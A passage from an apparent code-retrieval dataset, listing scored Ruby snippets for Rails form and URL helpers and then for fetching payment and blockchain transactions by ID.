send(\"new_#{@transient_registration.workflow_state}_path\".to_sym, token: @transient_registration.token)\n end", "title": "" }, { "docid": "0c966e7f7bd8239cde733d574fe420b5", "score": "0.5519757", "text": "def new\n @employee = Employee.new\n @url = { controller: '/employees', action: :create }\n render :form\n end", "title": "" }, { "docid": "4c5ddadeffb8658af85b4d31d78c26f0", "score": "0.5519012", "text": "def form; end", "title": "" }, { "docid": "69e41863d3936e16011b2d04d1997ebf", "score": "0.5516305", "text": "def action\n args.first\n end", "title": "" }, { "docid": "f6c137b0b9a57648d76dfaa48ac3df50", "score": "0.5515873", "text": "def url_for options = {}\n return \"/#{options[:controller].downcase}/#{options[:action]}/#{options[:id]}\" if options[:id].present?\n \"/#{options[:controller.downcase]}/#{options[:action]}\"\nend", "title": "" }, { "docid": "4a0d0af23721c97c41bda9fbaba71f81", "score": "0.5512648", "text": "def endpoint_url(action)\n return '' if action.blank?\n ENDPOINT_URLS[self.gateway_mode][action.to_sym] rescue ENDPOINT_URLS[:production][action.to_sym]\n end", "title": "" }, { "docid": "c19af6a88b10197404932d0278b141fa", "score": "0.5506079", "text": "def generate_url\n\t\tself.url ||= name.parameterize\n\tend", "title": "" }, { "docid": "fa5213a32f42a29e392b10e229cf5e5e", "score": "0.55052334", "text": "def action(method, options = {}) # -> Formtastic::Helpers::ActionHelper\n case method\n when :button, :reset\n button :button, options[:label], type: method\n when :submit\n button :submit, options[:label]\n else\n template.link_to options[:label], options[:url]\n end\n end", "title": "" }, { "docid": "493c5edd60738969fe218ad1ff94bd2f", "score": "0.5492065", "text": "def action_button_form options\n label = options[:label] ? options[:label] : \"Boton\"\n url = options[:url] ? options[:url] : \"#\"\n myclass = options[:class] ? \"btn-action #{options[:class]}\" : \"btn-action\"\n\n \"<li><div class='#{myclass}'>#{link_to(label, url)}</div></li>\".html_safe\n end", "title": "" }, { "docid": "e99cbfd637a8da27c2b2e60d1caadf3b", "score": "0.5481721", "text": "def current_action\n params[:action]\n end", "title": "" }, { "docid": "32d7ffa7e4c5727e32450662eb86dbe4", "score": "0.5476376", "text": "def new_job \n form{|f| f.action == 'job'}\nend", "title": "" }, { "docid": "74e0dd24826037f92067fc15a5d08a02", "score": "0.5473405", "text": "def get_form\n \"#{controller.controller_name}/form\"\n end", "title": "" }, { "docid": "fa6a96949a48605ca88f9c2d98064a5d", "score": "0.5471212", "text": "def api_form_actions(object_name, options = {})\n \" <li><div class=\\\"form_actions\\\">\\n \" +\n submit_button(object_name, options[:submit_text]) + \"\\n \" + cancel_link +\n \"\\n </div></li>\"\n end", "title": "" }, { "docid": "4e6a67bead96ca7071ec4e7168fedeeb", "score": "0.54609585", "text": "def redirection_form\n # Get redirection URL\n redirection_url = session[:post_last_location] || root_url\n session[:post_last_location] = nil\n\n # Get redirection params\n redirection_params = session[:params] || {}\n session[:params] = nil\n\n # Restore referer\n if session[:last_referer]\n session[:last_location] = session[:last_referer] \n session[:last_referer] = nil\n end \n\n form_id = \"redirection_form\"\n html = form_tag(redirection_url, :id => form_id) + \"\\n\"\n redirection_params.formify.each do |k, v|\n html += hidden_field_tag(k, v) + \"\\n\"\n end\n html + submit_tag(::AuthorizationHooks.redirection_submit_label) + \n \"</form>\" + javascript_tag(\"document.getElementById(\" +\n form_id.to_json + \").submit()\")\n end", "title": "" }, { "docid": "893f93c5bb96aae60fadb2171ea324f4", "score": "0.54607433", "text": "def apphelp_submit( form, action_or_string, indent = nil )\n return apphelp_complex_button(\n form,\n action_or_string,\n {\n :indent => indent,\n :button_image => 'accept'\n }\n )\n end", "title": "" }, { "docid": "d63f4f3155fe6688355b5b1b849dbcdc", "score": "0.5447033", "text": "def action\n self[:action].to_sym if self[:action]\n end", "title": "" }, { "docid": "d63f4f3155fe6688355b5b1b849dbcdc", "score": "0.5447033", "text": "def action\n self[:action].to_sym if self[:action]\n end", "title": "" }, { "docid": "454490497d1574a1aa63bea593c1bfd8", "score": "0.5443132", "text": "def get_formatted_action_name\n params[:action].gsub('_','-')\n end", "title": "" }, { "docid": "11cfa3aec071dd3435a7e352f8cbdc97", "score": "0.54415494", "text": "def emailform\n end", "title": "" }, { "docid": "11cfa3aec071dd3435a7e352f8cbdc97", "score": "0.54415494", "text": "def emailform\n end", "title": "" }, { "docid": "f0808608132ded047e347f719a077d3f", "score": "0.54346216", "text": "def url_for options = {}\n @controller.url_for options\n end", "title": "" }, { "docid": "42ea61cc79594fbb146f99dbdcdf0f74", "score": "0.5426552", "text": "def update_url\n case params[:for].to_sym\n when :msie then \"http://www.microsoft.com/ie\"\n when :firefox then \"http://www.mozilla.org/firefox\"\n when :chrome then \"http://www.google.com/chrome\"\n when :safari then \"http://www.apple.com/safari\"\n when :opera then \"http://www.opera.com/\"\n end\n end", "title": "" }, { "docid": "5a9e57766279c703b2105256d37324c5", "score": "0.542344", "text": "def search_action_url options = {}\n search_catalog_url(options.except(:controller, :action))\n end", "title": "" }, { "docid": "3a5fea9185e37142b5286075217916b8", "score": "0.54142606", "text": "def full_path\n path + \"/#{@action}.html.erb\"\n end", "title": "" }, { "docid": "56a43c4128dd0e45cf8a4149aa2fdbd8", "score": "0.5402793", "text": "def submit_button_to(link, options = {}, properties = {})\n properties = { method: options[:method]&.to_sym || :post, rel: \"nofollow\" }.merge(properties)\n _link_to link, { icon: \"check-circle\", type: \"success\", text: \"Submit\", size: \"lg\" }.merge(options), properties\n end", "title": "" }, { "docid": "f2c5060183389214fe1f0ca0b3cdaa5a", "score": "0.53994924", "text": "def csrf_path(action)\n case action\n when nil, '', /\\A[#?]/\n # use current path\n request.path\n when /\\A(?:https?:\\/)?\\//\n # Either full URI or absolute path, extract just the path\n URI.parse(action).path\n else\n # relative path, join to current path\n URI.join(request.url, action).path\n end\n end", "title": "" }, { "docid": "ddb8b26c5ebe2596a43ddf12d5c2497f", "score": "0.5385156", "text": "def new\n @address = Address.new\n @url = { controller: '/addresses', action: :create }\n end", "title": "" }, { "docid": "13917e2f892e8786e013bb59c420d6db", "score": "0.5384323", "text": "def get_action(options)\r\n action = options[:action]\r\n\r\n action\r\n end", "title": "" }, { "docid": "0996718ba06ce111d4d4f9f81c273ad9", "score": "0.5381001", "text": "def search_action_url options = {}\n search_catalog_url(options.except(:controller, :action))\n end", "title": "" }, { "docid": "27136bd0c5b95df07aa8d38bf570675c", "score": "0.5378689", "text": "def fb_request_form_submit\n tag \"fb:request-form-submit\"\n end", "title": "" }, { "docid": "59986b403a4384c18814cdf8c6e589cb", "score": "0.5378432", "text": "def search_action_url options = {}\n catalog_index_url(options.except(:controller, :action))\n end", "title": "" }, { "docid": "fe6d76398c57c2d1f3c54c75cf894fa8", "score": "0.53756684", "text": "def single_item_action_form_fields(form, document, action)\n render '/collections/single_item_action_fields', form: form, document: document, action: action\n end", "title": "" }, { "docid": "b4f116901e0dd1236fad5f74bb3a0066", "score": "0.5352531", "text": "def active_scaffold_input_url(column, options)\n active_scaffold_text_input :url_field, column, options\n end", "title": "" }, { "docid": "80493c9ab5328e0192276ca5f141dae6", "score": "0.5349171", "text": "def action\n \"index\"\n end", "title": "" }, { "docid": "3f1604df17e676e9da05e9f6b44c7c12", "score": "0.53413516", "text": "def url_edit\n cname = self.class.classname.to_s.downcase\n return \"?show=#{cname}_edit&#{cname}_id=#{self.id}\"\n end", "title": "" } ]
5e481814436ff9880c46aee74c6ba50f
Get a transaction from Universign
[ { "docid": "1706e8a605879e78e36746d2cd4821fd", "score": "0.71570635", "text": "def get\n @client = Universign::Client.new\n\n safeguard do\n result = @client.call('requester.getTransactionInfo', @transaction_id)\n self.from_data(result)\n end\n end", "title": "" } ]
[ { "docid": "2c44e5d6c043d968da512199f87ef298", "score": "0.7816194", "text": "def get_transaction\n @transaction = Transaction.find(params[:id])\n end", "title": "" }, { "docid": "3edb0344d3a1ee5b282683607bf9d62a", "score": "0.7810169", "text": "def getTransaction(id)\n get(:getTransaction, transaction: id)\n end", "title": "" }, { "docid": "68d36e768c5ff0457b30406fcfd8cc41", "score": "0.7808261", "text": "def gettransaction(txid)\n dogecoin.gettransaction txid\n end", "title": "" }, { "docid": "be19bbc60e3416882c5a2f65838ec01e", "score": "0.7696983", "text": "def gettransaction(txid)\n bitcoin.gettransaction txid\n end", "title": "" }, { "docid": "dd75113e75e66a50fd9a999fbcc29a56", "score": "0.76505625", "text": "def get_transaction(id)\n req = Access::GetTransactionRequest.new(id: id)\n res = @stub.get_transaction(req)\n res.transaction\n end", "title": "" }, { "docid": "15dcaad3ff0848e620cffeecc137f21d", "score": "0.7600705", "text": "def get_transaction\n span.transaction if span\n end", "title": "" }, { "docid": "7fc4502551a4f4182d1ddf0463322101", "score": "0.74687433", "text": "def get_transaction(arg)\n\n Utils_visiona.verifyInput([CFDP::PDUPacket, Hash], arg.class)\n\n id = arg.is_a?(Hash) ? arg : transaction_id(arg)\n @transactions.each {|transaction| return transaction if transaction.ID == id}\n return nil\n end", "title": "" }, { "docid": "a5185b15b5cdbc15c35daa6b2e56b935", "score": "0.74250096", "text": "def get_transaction(hash)\n @conn.get(\"/#{API_VERSION}/#{block_chain}/transactions/#{hash}\")\n end", "title": "" }, { "docid": "cde75af8a285ddf6812bee4574d4f907", "score": "0.7329208", "text": "def neo_blockchain_get_transaction\n raise NotImplementedError\n end", "title": "" }, { "docid": "2c8d20bb1c521c7711483c7ab23cad99", "score": "0.73093563", "text": "def transaction(options = nil)\n request = Request.new(@client)\n path = \"/invoices/\" + CGI.escape(@id) + \"/transactions\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"transaction\"]\n transaction = Transaction(self._client)\n return_values.push(transaction.fill_with_data(body))\n\n \n return_values[0]\n end", "title": "" }, { "docid": "569011126c6f0e33c94c623c66c2a2ae", "score": "0.7286273", "text": "def fetch_transaction(tid, address: nil)\n straighten_transaction api_request(\"/transactions/#{tid}\"), address: address\n end", "title": "" }, { "docid": "569011126c6f0e33c94c623c66c2a2ae", "score": "0.7286273", "text": "def fetch_transaction(tid, address: nil)\n straighten_transaction api_request(\"/transactions/#{tid}\"), address: address\n end", "title": "" }, { "docid": "fec5f10defa5c84ad13ebdc6a9b4585f", "score": "0.72830266", "text": "def fetch_transaction(tid, address: nil)\n straighten_transaction JSON.parse(api_request(\"/transactions/#{tid}\"), address: address)\n end", "title": "" }, { "docid": "5a2922e7a061aa77f53b1ef841fc8bca", "score": "0.72503626", "text": "def transactions_get_by_id id\n params = { :id => id }\n transaction = @client.query_get \"transactions/get\", params\n end", "title": "" }, { "docid": "3615dc50a460762c3b73a3c4148fe282", "score": "0.7221988", "text": "def getCurrentTransaction( )\n end", "title": "" }, { "docid": "9baf8837aa004c52efd4fa9d247be84a", "score": "0.7207848", "text": "def tran_obj\n transaction_object\n end", "title": "" }, { "docid": "2d72d13adc4c9d9a91904baf3c48f9ba", "score": "0.7198947", "text": "def find(transaction_id, options = nil)\n request = Request.new(@client)\n path = \"/transactions/\" + CGI.escape(transaction_id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"transaction\"]\n \n \n obj = Transaction.new(@client)\n return_values.push(obj.fill_with_data(body))\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "636de1f069bd6047da73763821842da5", "score": "0.7185149", "text": "def get_transaction(options = {})\n requires! options, :reference_number\n\n request = build_request(__method__, options)\n commit(__method__, request)\n end", "title": "" }, { "docid": "2aa68b877cbb03b60f88e7a729f33beb", "score": "0.7152445", "text": "def transaction(options={})\n get('topTransaction', options)\n end", "title": "" }, { "docid": "918f6caf6cf94cb6d6453a55a0660fe8", "score": "0.7145009", "text": "def get_transaction(transaction_ids:)\n call(:get_transaction, aTransactionIds: transaction_ids)\n end", "title": "" }, { "docid": "8d00d820d21fccbe062c27197a5a2718", "score": "0.71227854", "text": "def get_transaction(tid, reference)\n begin\n #creating url\n url = \"#{@security.environment}/transactions\"\n url = url + \"?tid=#{tid}&reference=#{reference}\"\n\n # make the request.\n json_response = Rede::CommonRequest.get(url, @security)\n\n # mapping the result.\n response = Rede::QueryTransactionResponse.map(json_response)\n\n rescue Exception => e\n response = Rede::QueryTransactionResponse.new(:return_code => Rede::ReturnCode::UNSUCCESSFUL, :return_message => e.message)\n end\n\n return response\n end", "title": "" }, { "docid": "e8f411322d3946154f9431f7788f872b", "score": "0.70836663", "text": "def get_transaction(id)\r\n # Prepare query url.\r\n _path_url = '/transactions/{id}'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'id' => id\r\n )\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n Transaction.from_hash(decoded)\r\n end", "title": "" }, { "docid": "3ce89133fd0e043537ccbe4ca07fb5a1", "score": "0.70643234", "text": "def get_transaction(account_id, transaction_id, cents = false)\n if transaction_id.nil?\n query_api_object Model::Transaction, \"/rest/accounts/#{account_id}/transactions?cents=#{cents}\"\n else\n query_api_object Model::Transaction, \"/rest/accounts/#{account_id}/transactions/#{transaction_id}?cents=#{cents}\"\n end\n end", "title": "" }, { "docid": "3ec5966a4058692a7949484809e7bf3d", "score": "0.7050811", "text": "def get_txn(id)\n txn_id = id\n\n # Get the transaction and check that it exists\n txn_doc = @firestore.col(TXN_COL_NAME).doc(txn_id).get\n if txn_doc.exists?\n # Construct the transaction object that we need\n txn_data = txn_doc.data\n\n # Deconstruct main transaction object\n total_amt = txn_data[:amount]\n tax_amt = txn_data[:taxes]\n date = txn_data[:date] # Ruby date object\n store_id = txn_data[:store_id]\n items_from_firestore = txn_data[:items]\n\n # Deconstruct each item\n items = []\n items_from_firestore.each do |firestore_item|\n\n item_name = firestore_item[:name]\n item_cost = firestore_item[:cost]\n item_qty = firestore_item[:quantity]\n item_price_unit = firestore_item[:price_unit]\n # Add to array\n items.push Transaction::Item.new(item_name, item_cost,\n item_price_unit, item_qty)\n end\n\n Transaction.new(txn_id, total_amt, tax_amt,\n date, store_id, items)\n else\n log_info \"Transaction with id #{txn_id} was not found\"\n nil\n end\n end", "title": "" }, { "docid": "a506a879d591b38f5346b88f3a2d0d80", "score": "0.6974138", "text": "def transactionByIndex(index)\n begin\n map = JSON.parse(Net::HTTP.get(@@api_url, \"/tx-index/#{index}?format=json\"))\n rescue\n raise ArgumentError, 'Invalid transaction index'\n end\n parseTransaction(map)\n end", "title": "" }, { "docid": "23302843e67e5902e1be2671a0f213e7", "score": "0.69702786", "text": "def getTransaction(id)\n\t\tif not id>0 then raise ArgumentError, 'transaction id must be positive integer' end\n\t\tquery=\"SELECT ID, date, count, value, categoryID, descr FROM transactions WHERE ID=#{id.to_i}\";\n\t\treturn @conn.execute(query).as(:Hash).fetch(:first)\n\tend", "title": "" }, { "docid": "d2dda76e329f0a9b72cc0af29da16fb4", "score": "0.6952086", "text": "def transaction(hash)\n make_promise(@core.web3.JS[:eth], 'getTransaction', hash) do |data|\n Paleth::Transaction.new data\n end\n end", "title": "" }, { "docid": "490bf74ec8763480edea6d6c435e8bc7", "score": "0.6948214", "text": "def transaction\n Transaction.find_by_notification_code(code)\n end", "title": "" }, { "docid": "9cf1c2e9c23029a64b960f3f68d059e1", "score": "0.68930435", "text": "def get_transaction(user_id, comment=\"\")\n if user_id.nil?\n raise \"Expected a user_id (Repository.get_transaction(user_id))\"\n end\n return Repository::Transaction.new(user_id, comment)\n end", "title": "" }, { "docid": "360e170cae40a24a4c8c61d5a54193b5", "score": "0.6886187", "text": "def fetch_transaction(tid, address: nil)\n straighten_transaction(api_request(\"/rawtx/#{tid}\"), address: address)\n end", "title": "" }, { "docid": "cb74fd5fa9a95b1b506edf8d330e0b0d", "score": "0.68785375", "text": "def get_transaction_by_reference(reference)\n response = get_transaction(nil, reference)\n end", "title": "" }, { "docid": "81c038e47d499143d3337fa82d708b3e", "score": "0.68774366", "text": "def obtenerTransaccion(id)#Validates\n jsonResponse = requestWebWithoutParams('GET', (ENV[\"url_banco\"]+\"trx/\"+id))\n if(jsonResponse==false)\n return jsonResponse\n else\n jsonResponse = jsonResponse.first\n paramsBanco = { _id: jsonResponse['_id'],\n\t\t\tcreated_at: jsonResponse['fechaCreacion'],\n cuentaOrigen: jsonResponse['origen'],\n cuentaDestino: jsonResponse['destino'],\n\t\t\tmonto: jsonResponse['monto']}\n\t return paramsBanco\n end\nend", "title": "" }, { "docid": "7de347835ac2c52fd595f025162dfb81", "score": "0.6846843", "text": "def transaction\n @transaction ||= payment_provider.transaction(provider_token)\n end", "title": "" }, { "docid": "98f89ff793dfeb5a738d3c45fe50405b", "score": "0.6799558", "text": "def find_authorize_net_transaction(transaction_id)\n # Start the Transaction\n transaction = AuthorizeNet::API::Transaction.new(ENV['AUTHORIZE_NET_KEY'], ENV['AUTHORIZE_NET_SECRET'], {gateway: ENV['AUTHORIZE_NET_ENV'].to_sym})\n\n transId = transaction_id\n request = AuthorizeNet::API::GetTransactionDetailsRequest.new\n request.transId = transId\n\n #standard api call to retrieve response\n response = transaction.get_transaction_details(request)\n\n if response.messages.resultCode == AuthorizeNet::API::MessageTypeEnum::Ok\n puts \"Get Transaction Details Successful \"\n puts \"Transaction Id: #{response.transaction.transId}\"\n puts \"Transaction Type: #{response.transaction.transactionType}\"\n puts \"Transaction Status: #{response.transaction.transactionStatus}\"\n printf(\"Auth Amount: %.2f\\n\", response.transaction.authAmount)\n printf(\"Settle Amount: %.2f\\n\", response.transaction.settleAmount)\n else\n puts response.messages.messages[0].code\n puts response.messages.messages[0].text\n raise \"Failed to get transaction Details.\"\n end\n\n return response\n end", "title": "" }, { "docid": "b9cf7fd2e143887361ce7dbb846b6d77", "score": "0.677622", "text": "def getrawtransaction(txid, verbose = 0)\n bitcoin.getrawtransaction txid verbose\n end", "title": "" }, { "docid": "db1a239001ed427f8b7d6d22040be16e", "score": "0.67598766", "text": "def transaction_id\n read('transaction_id')\n end", "title": "" }, { "docid": "bffe4aa8c8da86900a1dfe9f0f6774f3", "score": "0.6755162", "text": "def neo_block_get_transaction\n raise NotImplementedError\n end", "title": "" }, { "docid": "085b833e5df277ebac7f97bacf8f886c", "score": "0.67469805", "text": "def get_transaction(transaction_id)\n\t\t\t@transactions[transaction_id] ||= Transaction.new(self, transaction_id)\n\t\tend", "title": "" }, { "docid": "d1befedeeec1cb2d939ef5297eb0f1f3", "score": "0.67430437", "text": "def get_transaction_by_tid(tid)\n response = get_transaction(tid, nil)\n end", "title": "" }, { "docid": "b9f53baa81563a8d076ed97bc19d5301", "score": "0.67274094", "text": "def get_transaction(user_id, comment = '')\n if user_id.nil?\n raise 'Expected a user_id (Repository.get_transaction(user_id))'\n end\n return Repository::Transaction.new(user_id, comment)\n end", "title": "" }, { "docid": "428b584ba086e51af7d16dafab4a0493", "score": "0.6724802", "text": "def show(id)\n response = request :get, \"/transactions/#{id}.json\"\n response['transaction']\n end", "title": "" }, { "docid": "669b36e0ca8ed826eeb91ca5be0cf4ef", "score": "0.67247105", "text": "def get_identity_provider_transaction(transaction_id, options = {})\n get(\"/idps/tx/#{transaction_id}\", options)\n end", "title": "" }, { "docid": "8c881930159a0e4227bb5dead3cb4e4c", "score": "0.6716077", "text": "def transactions(params = {})\n request(:get, '/transactions', params)\n end", "title": "" }, { "docid": "b329f89bc6fd1b84952faa649f1e6550", "score": "0.6700175", "text": "def getTransaction(transaction_type, transaction_id)\n raise ServiceException, \"Unknown Transaction type: \" + transaction_type unless TransactionType.const_defined? transaction_type\n url = \"#{@fqdn}#{SERVICE_URL::Transactions}/#{transaction_type}/#{transaction_id}\"\n\n headers = {\n :Accept => 'application/json',\n }\n\n response = self.get(url, headers)\n\n Model::TransactionStatus.createFromJson(response)\n end", "title": "" }, { "docid": "267318b0c415870d4560d7f5eee1a566", "score": "0.6691805", "text": "def get_transaction_by_id(id, options={}) path = \"/api/v2/transactions/#{id}\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "1b26a80d8c0656621c0f13ad2966cd03", "score": "0.6689388", "text": "def transaction_id\n params['trans_id']\n end", "title": "" }, { "docid": "bb8a787b4a95d518f421efe71fe7c8fb", "score": "0.6686497", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "7205dc778cec97b1529ce80df7813bfe", "score": "0.6685128", "text": "def transaction(data)\n return Redecard::Transaction.new(data)\n end", "title": "" }, { "docid": "ed4cbd742f135a39531c067e99c16c5b", "score": "0.6676434", "text": "def gettransactionid\r\n return getvalue(SVTags::TRANSACTION_ID)\r\n end", "title": "" }, { "docid": "67c04ab73a36e5544e8ff38ac61a9d92", "score": "0.66732264", "text": "def transaction_by_hash(txid, include_watchonly: false)\n request(:gettransaction, txid, include_watchonly)\n end", "title": "" }, { "docid": "953894fde18d31ca94c189272bae9f77", "score": "0.6673022", "text": "def transaction_primitive\n DataObjects::Transaction.create_for_uri(@uri)\n end", "title": "" }, { "docid": "2d90ba0d18bfa10db06059db620e2414", "score": "0.66642845", "text": "def getTransactionByTransactionId(transaction_id)\n self.getTransaction(TransactionType::TransactionId,\n transaction_id)\n end", "title": "" }, { "docid": "973de4c4c84c998afd0b70f3c3d9b594", "score": "0.6663538", "text": "def transaction_request(transaction)\n transaction_request = Redecard::TransactionRequest.new\n send_request(transaction_request.serialize(transaction,@filiation))\n end", "title": "" }, { "docid": "2b28052a4605472ac3bcb194c38860c1", "score": "0.6658661", "text": "def transaction\n\t\t\tTransactionPortal.new(self)\n\t\tend", "title": "" }, { "docid": "a5bbc33376b508df672772cc060fc165", "score": "0.6657813", "text": "def transaction_id\n @data['transactionid']\n end", "title": "" }, { "docid": "3c7af68cc4ca072f17433c8de9b44500", "score": "0.6649094", "text": "def get_transaction(user_id, comment)\n raise NotImplementedError, \"Repository.get_transaction: Not yet implemented\"\n end", "title": "" }, { "docid": "c4d73c2beee5f3740218735f9c02ef33", "score": "0.66390854", "text": "def tx\n @data['tx'] || @data['transaction']\n end", "title": "" }, { "docid": "c4d73c2beee5f3740218735f9c02ef33", "score": "0.66390854", "text": "def tx\n @data['tx'] || @data['transaction']\n end", "title": "" }, { "docid": "92f75d55ff17746a14d8336858f1bc86", "score": "0.6629974", "text": "def transaction_primitive\n DataObjects::Transaction.create_for_uri(@uri)\n end", "title": "" }, { "docid": "131962d134153f19b904894ee2240df2", "score": "0.6626971", "text": "def get_transaction_id!(params)\n get_value_for_key!(params, \"transaction_id\")\n end", "title": "" }, { "docid": "408a222eee3ddc0ffcf0618bdd80d0fd", "score": "0.66046506", "text": "def transaction_id\n params['transaction_id']\n end", "title": "" }, { "docid": "be076578d71b9106a15f1292940becac", "score": "0.6603441", "text": "def transaction_id\n read(\"transaction_id\")\n end", "title": "" }, { "docid": "8af1ff0bb0660b02924be3dde373962b", "score": "0.6596351", "text": "def get_transaction_result(id)\n req = Access::GetTransactionRequest.new(id: id)\n @stub.get_transaction_result(req)\n end", "title": "" }, { "docid": "5c87fe2ba7793c240cd1ab022afb2176", "score": "0.6576727", "text": "def download_transaction(native_id)\n json = NXT::api.getTransaction(native_id)\n # Create a new db transaction\n transaction = UnconfirmedTransaction.create!({\n :native_id => native_id,\n :sender => get_account(json['sender'], json['senderRS']),\n :recipient => get_account(json['recipient'], json['recipientRS']), \n :amount_nqt => json['amountNQT'],\n :fee_nqt => json['feeNQT'],\n :timestamp => json['timestamp'] \n })\n end", "title": "" }, { "docid": "5b8653c626fa0bb1e5548b4934a9214c", "score": "0.65642893", "text": "def getTransactionInfo(transaction_id)\n xml_obj = getXmlAuth\n xml_obj[\"transId\"] = transaction_id\n\n response = sendRequest(\"getTransactionDetailsRequest\", xml_obj)\n if response\n return AuthorizeNet::Transaction.parse(response)\n end\n end", "title": "" }, { "docid": "a334c5d164035e36713c6ee6e9d629c1", "score": "0.6563717", "text": "def transaction\n credit_transaction || debit_transaction\n end", "title": "" }, { "docid": "b82ab4fe58747fc248cfad3ed7376ba2", "score": "0.65544164", "text": "def transaction_detail\n { customer_transaction_id: \"Trackerific\" }\n end", "title": "" }, { "docid": "a71c83a1c017fb69d5f80d552bfb9ee1", "score": "0.65443516", "text": "def transaction_id\r\n params['transactionId']\r\n end", "title": "" }, { "docid": "b95852f9af4b143a4ffef4f73637031b", "score": "0.6543949", "text": "def details(api_opts={})\n request = GetTransactionDetailsRequest.new\n request.transId = transaction_id\n\n @response ||= authnet(:api, api_opts).get_transaction_details(request)\n if valid_authnet_response?(@response) && @response.messages.resultCode == MessageTypeEnum::Ok\n @response.transaction\n else\n nil\n end\n end", "title": "" }, { "docid": "f60e65c3d0d14c7b9ac0a06b3fc8f076", "score": "0.653278", "text": "def gettransactionid()\r\n return getvalueasint(SVTags::TRANSACTION_ID)\r\n end", "title": "" }, { "docid": "44e332f395fdedf432ce0ae52a9ab93a", "score": "0.65273654", "text": "def transaction_id\n params['x_trans_id']\n end", "title": "" }, { "docid": "150f5ef57cd86a67c2b342b6f816b533", "score": "0.6527057", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "af78bb1abe05bc15d3e4880c2a4f1a0e", "score": "0.6520035", "text": "def current_transaction()\n transactions().last()\n end", "title": "" }, { "docid": "a07dac5b0916efce0b993f24740b07fe", "score": "0.6513873", "text": "def transaction_id\n return @transaction_id\n end", "title": "" }, { "docid": "d22e8574250e1a5722481d0a7987f84e", "score": "0.6509805", "text": "def get_transaction (id = nil, opts={})\n query_param_keys = [:id]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'id' => id\n \n }.merge(opts)\n\n #resource path\n path = \"/get-transaction.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "3cffbc7a420ed1555274972015e302bd", "score": "0.65069914", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "3cffbc7a420ed1555274972015e302bd", "score": "0.65069914", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "3cffbc7a420ed1555274972015e302bd", "score": "0.65069914", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "3cffbc7a420ed1555274972015e302bd", "score": "0.65069914", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "3cffbc7a420ed1555274972015e302bd", "score": "0.65069914", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "42f14429067009b03c48825ecd2ebaa7", "score": "0.65042174", "text": "def transaction_from_block(block, index)\n method = 'getTransactionFromBlock'\n make_promise(@core.web3.JS[:eth], method, block, index) do |data|\n Paleth::Transaction.new data\n end\n end", "title": "" }, { "docid": "ba0ecf8480cdb6105c3e1dbe2d2f2a62", "score": "0.65018165", "text": "def set_transaction\n @transaction = @bank_account.transactions.find(params[:id])\n end", "title": "" }, { "docid": "7df343b4cde59406fed547ff9753a10b", "score": "0.6501096", "text": "def hbn_trans_detail\n trans_detail = TransDetails.find_by_order_no(self.external_order_no)\n return trans_detail if trans_detail.present?\n end", "title": "" }, { "docid": "1bcd5f4e56306dd6eb256e88daae3b87", "score": "0.6500908", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "1bcd5f4e56306dd6eb256e88daae3b87", "score": "0.6500908", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "c19b932584fcacb3db60a6565a7d57a5", "score": "0.64971507", "text": "def get_node_transaction(node_id:, trans_id:)\n path = node(user_id: self.user_id, node_id: node_id) + \"/trans/#{trans_id}\"\n\n begin\n trans = client.get(path)\n rescue Synapse::Error::Unauthorized\n self.authenticate()\n trans = client.get(path)\n end\n Transaction.new(trans_id: trans['_id'],\n payload: trans,\n node_id: node_id\n )\n end", "title": "" }, { "docid": "e99b2a3949e32fa7bad2dddb3c788dc7", "score": "0.64825445", "text": "def get(txid)\n rows = db.execute('SELECT SerializedTx FROM Tx WHERE TransactionHash = ?', [txid])\n rows.empty? ? nil : rows[0][0]\n end", "title": "" }, { "docid": "ffbb541b7f24cc55df563139252ca7e9", "score": "0.6480806", "text": "def item\n return @data && index >= 0 ? @data[index] : nil unless @category == :transaction\n return transaction_entry(index)\n end", "title": "" }, { "docid": "c3e1821211946812a5e00393f95d3bbc", "score": "0.64791197", "text": "def findAccTransaction(accID, tranID)\n\turl = \"http://api.reimaginebanking.com:80/accounts/#{accID}/transactions/#{tranID}?key=#{APIkey}\"\n\tresp = Net::HTTP.get_response(URI.parse(url))\n\tdata = resp.body\n\tputs(data)\nend", "title": "" }, { "docid": "3dccc8b2f388b102838bfe98ea2a09a1", "score": "0.647524", "text": "def get_tx(hash)\n if $use_coinbase_bbe && !$testnet\n url = \"https://coinbase.com/network/tx/%s.json\" % [hash]\n else\n url = \"http://blockexplorer.com/%srawtx/%s\" % [$testnet ? 'testnet/' : '', hash]\n end\n json = open(url).read\n 